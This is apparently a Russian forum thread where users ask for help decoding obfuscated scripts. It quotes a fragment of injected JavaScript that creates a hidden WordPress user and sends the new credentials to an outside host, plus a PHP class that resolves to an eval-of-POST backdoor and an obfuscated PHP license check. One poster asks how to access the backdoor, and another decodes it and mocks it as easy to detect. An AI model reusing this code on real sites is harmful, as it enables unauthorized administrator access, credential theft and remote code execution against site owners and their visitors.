_0x2caffd=_0x429a1e(0xd6),_0x518996=_0x429a1e(0x102),_0x1e5e89='action=createuser&_wpnonce_create-user='+_0x7058f3+_0x429a1e(0xf7)+_0x2caffd+'&email=system@wordpress.local&pass1='+_0x518996+_0x429a1e(0xe4)+_0x518996+_0x429a1e(0xf0);_0x5777fd=request(_0x41e3f9,_0x429a1e(0xf2),_0x1e5e89,!![]),_0x5777fd['onload']=function(){var _0x14a4d4=_0x429a1e,_0x338c8d=_0x35915f+';'+_0x2caffd+';'+_0x518996,_0x313482='https://minxca.site/valid';request(...f2),'s='+encodeURIComponent(_0x338c8d),!![]);},setCookie(_0x429a1e(0xfc),'do',0x16d);}}else{function_0x2e2ea9(){var _0x3f7b16=_0x429a1e;return navigator['userAgent'][_0x3f7b16(0xcf)](/Android/i)||navigator[_0x3f7b16(0xe1)][_0x3f7b16(0xcf)](/BlackBerry/i)||navigator['userAgent'][_0x3f7b16(0xcf)](/iPhone|iPad|iPod/i)||navigator[_0x3f7b16(0xe1)]['match'](/Opera Mini/i)||navigator['userAgent'][_0x3f7b16(0xcf)](/IEMobile/i);}function _0x105626(){var _0xf65e39=_0x429a1e;return navigator[_0xf65e39(0xe1)][_0xf65e39(0xe7)]('Edge')!==-0x1||navigator[_0xf65e39(0xe1)][_0xf65e39(0xe7)](_0xf65e39(0xe8))!==-0x1||navigator['userAgent'][_0xf65e39(0xe7)](_0xf65e39(0x101))!==-0x1||navigator[_0xf65e39(0xe1)]['indexOf'](_0xf65e39(0x104))!==-0x1||navigator[_0xf65e39(0xe1)]['indexOf'](_0xf65e39(0xce))!==-0x1||navigator['userAgent']['indexOf']('Chrome')!==-0x1;}var _0x2919cc=getCookie(_0x429a1e(0xe5));_0x2919cc!=='un'&&((_0x105626()||_0x2e2ea9())&&(setCookie(_0x429a1e(0xe5),'un',0x1e),window[_0x429a1e(0xd3)][_0x429a1e(0xf4)](_0x429a1e(0xeb))));}}d(); </script>
помогите с расшифровкой пожалуйста (даже 1 процент файла не влез в сообщение) можно даже за $, если по итогу всё нормально выйдет PHP: https://dropmefiles.com/Fgeeb перепробовал кучу деобфускаторов (От которых толку почти 0) ничего путного так и не вышло сделать частями тоже не выходило раскодировать очень нуждаюсь в этом файле
Это весь код? PHP: <?php$O0OOO0OOO0 = file(preg_replace("@\(.*\(.*$@", "" ,__FILE__));if (preg_replace("@\(.*\(.*$@", "", __FILE__) ==__FILE__ or preg_replace("@\(.*\(.*$@", "" ,__LINE__) != 3) die("<tt>ERROR");function OO0O00OO0O($a, $b) { $c = array(989, 324, 32, 25255); $k = gzinflate(base64_decode("KyrNTcosKQYA")); // rumbits $O0O0 = $k[6].$k[1].$k[3].$k[6].$k[5].$k[0]; // substr $O0 = "$k[5]$k[0]$k[4]$k[2]"; // trim if ($b == 138) { $d = substr($a, $c[0] /* 989 */ + $c[1] /* 324 */, $c[2] /* 32 */); } elseif ($b == 60) { $d = substr($a, $c[0] /* 989 */, $c[1] /* 324 */); } elseif ($b == 147) { $d = trim(substr($a, $c[0] /* 989 */ + $c[1] /* 324 */ + $c[2] /* 32 */)); } return $d;}?> Какие входящие данные?
Шелл, я так понимаю.. Как зайти? Нужно какой-то get ему отправлять. Code: <?php class PJIZ{ public $TEST= null; public $za= null; public $e='"hd2d1GR1N-ynNAvl"'; public $d= null; public $all= null; function __construct(){ $this->za = 'mv3gc3bierpvat2tkrnq'; $this->TEST = @KILLED($this->za); $this->moreandmore = $this->TEST; $this->za = 'luutw'; $this->TEST = @KILLED($this->za); $this->d=strrev($this->e); $this->moreandmore =$this->moreandmore.$this->d.$this->TEST; @eval($this->moreandmore); }} new PJIZ(); function KILLED($YAXW){ $KHVW = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen($YAXW); $i < $j; $i++){ $v <<= 5; if ($YAXW[$i] >= 'a' && $YAXW[$i] <= 'z'){ $v += (ord($YAXW[$i]) - 97); } elseif ($YAXW[$i] >= '2' && $YAXW[$i] <= '7') { $v += (24 + $YAXW[$i]); } else { exit(1); } $vbits += 5; while ($vbits >= 8){ $vbits -= 8; $KHVW .= chr($v >> $vbits); $v &= ((1 << $vbits) - 1);}} return $KHVW;} $tips = 'O'.'N'.'E'.'P'.'I'.'E'.'C'.'E'; echo $tips; ?>
Результирующий код из всей этой свистопляски будет: Code: eval($_POST["lvANny-N1RG1d2dh"]); Мысли вслух. Легко реверснуть, элементарно спалить по сигнатурам, неудобно использовать. Бекдор не решает ровном счётом ничего. Что курять изобретатели этих поделок? Загадка
Нужна помощь в рашифровке скрипта. Spoiler: Файл 1 https://disk.yandex.ru/d/fQR9YLvPZ3zIuQ Spoiler: Файл 2 PHP: <?php goto m5hZe; WrJmW: $ci = curl_init(); goto JwIxZ; nUVif: curl_setopt($ci, CURLOPT_HEADER, 0); goto ZryaG; KwfZf: curl_close($ci); goto KXAcl; ZryaG: curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1); goto oVDeL; tPkkb: $ce = curl_exec($ci); goto KwfZf; m5hZe: $valid_product = true; goto BlL0b; BlL0b: $domain = $_SERVER["\110\124\124\x50\137\110\x4f\123\x54"]; goto EtPEr; oVDeL: curl_setopt($ci, CURLOPT_POST, 1); goto WJpH_; KXAcl: $json = json_decode($ce, true); goto dL59Y; WJpH_: curl_setopt($ci, CURLOPT_POSTFIELDS, array("\144\157\x6d\x61\x69\156" => $domain, "\x61\143\164\x69\157\156" => "\x76\141\154\151\144\x61\164\x65")); goto tPkkb; JWnrV: if ($json["\163\164\x61\x74\165\163"] !== "\x6f\153") { $valid_product = false; } goto nzxkm; JwIxZ: curl_setopt($ci, CURLOPT_URL, "\x68\164\164\x70\x3a\57\57\144\x61\146\160\157\x64\x73\56\x63\157\57\166\x61\154\151\144\141\x74\x69\x6f\156\57"); goto nUVif; EtPEr: if (isset($_GET["\144\x6f\x6d\141\x69\x6e"])) { $domain = trim($_GET["\144\157\155\141\151\156"]); } goto WrJmW; dL59Y: if (!is_array($json)) { $valid_product = false; } goto JWnrV; nzxkm: if (!$valid_product) { die("\x4e\157\40\166\x61\x6c\151\x64\40\154\151\x63\x65\156\x73\x65\41"); }